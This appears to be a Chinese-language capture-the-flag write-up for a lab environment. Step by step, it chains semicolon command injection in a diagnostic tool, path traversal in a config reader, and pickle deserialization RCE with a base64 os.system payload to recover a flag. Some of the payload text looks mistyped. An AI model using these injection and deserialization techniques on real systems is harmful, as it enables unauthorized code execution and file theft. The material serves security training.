1. 命令注入遍历目录结构

首先利用 diagnostic_runner 的命令注入漏洞来遍历整个 /tmp/ctf_mcp 目录:

```
# 利用分号实现命令注入

response = diagnostic_runner("ls; find /tmp/ctf_mcp")
```

输出会显示完整的目录结构:

```
/tmp/ctf_mcp

/tmp/ctf_mcp/var

/tmp/ctf_mcp/var/log

/tmp/ctf_mcp/var/log/system.log

/tmp/ctf_mcp/var/secret

/tmp/ctf_mcp/var/secret/data.pkl

/tmp/ctf_mcp/etc

/tmp/ctf_mcp/etc/database.conf

/tmp/ctf_mcp/etc/sensitive_config.pkl

/tmp/ctf_mcp/home

/tmp/ctf_mcp/home/user
```

2. 命令注入读取系统日志

使用命令注入读取 system.log 获取更多信息:

```
response = diagnostic_runner("ls; cat /tmp/ctf_mcp/var/log/system.log")
```

日志内容显示:

```
[2024-01-15 08:00:00] System initialized successfully

[2024-01-15 08:05:00] Configuration loaded from /etc/sensitive_config.pkl

[2024-01-15 08:10:00] Serialized payload stored in /var/secret/data.pkl

[2024-01-15 08:15:00] Database credentials: /etc/database.conf

[2024-01-15 08:20:00] HINT: Advanced features require deserialization module

[2024-01-15 08:25:00] Security notice: Template engine supports dynamic expressions
```

3. 路径遍历读取敏感文件

利用 config_reader 的路径遍历漏洞读取之前发现的 pkl 文件:

```
# 读取 data.pkl

response = config_reader("../../var/secret/data.pkl")
```

输出内容包含:

```
PAYLOAD_DATA=gASVQAAAAAAAAACMBm9zLnBvcwWUjAZzeXNOZW2UkwWUXZSMQGVja
G8glkNURntQMUNLTDNf

RDNTM1IxNEwxWjRUMTBOX1JDRV9TVUNDRVNTfSIgPiAvdG1wL2NOZl9tY3AvZmxhZy50eH
SUYYWU

Lg==

VERSION=1.0
```

4. Pickle 反序列化 RCE

使用 data_deserializer 处理获取的 base64 payload:

```
# 提取 PAYLOAD_DATA 后的 base64 字符串

payload =
"gASVQAAAAAAAAACMBm9zLnBvcwWUjAZzeXNOZW2UkwWUXZSMQGVjaG8glkNURntQMU
NLTDNf

RDNTM1IxNEwxWjRUMTBOX1JDRV9TVUNDRVNTfSIgPiAvdG1wL2NOZl9tY3AvZmxhZy50eH
SUYYWU

Lg=="

# 触发反序列化 RCE

response = data_deserializer(payload, "pickle")
```

得到 flag

VCTF{P1CKL3_D3S3R14L1Z4T10N_RCE_SUCCESS}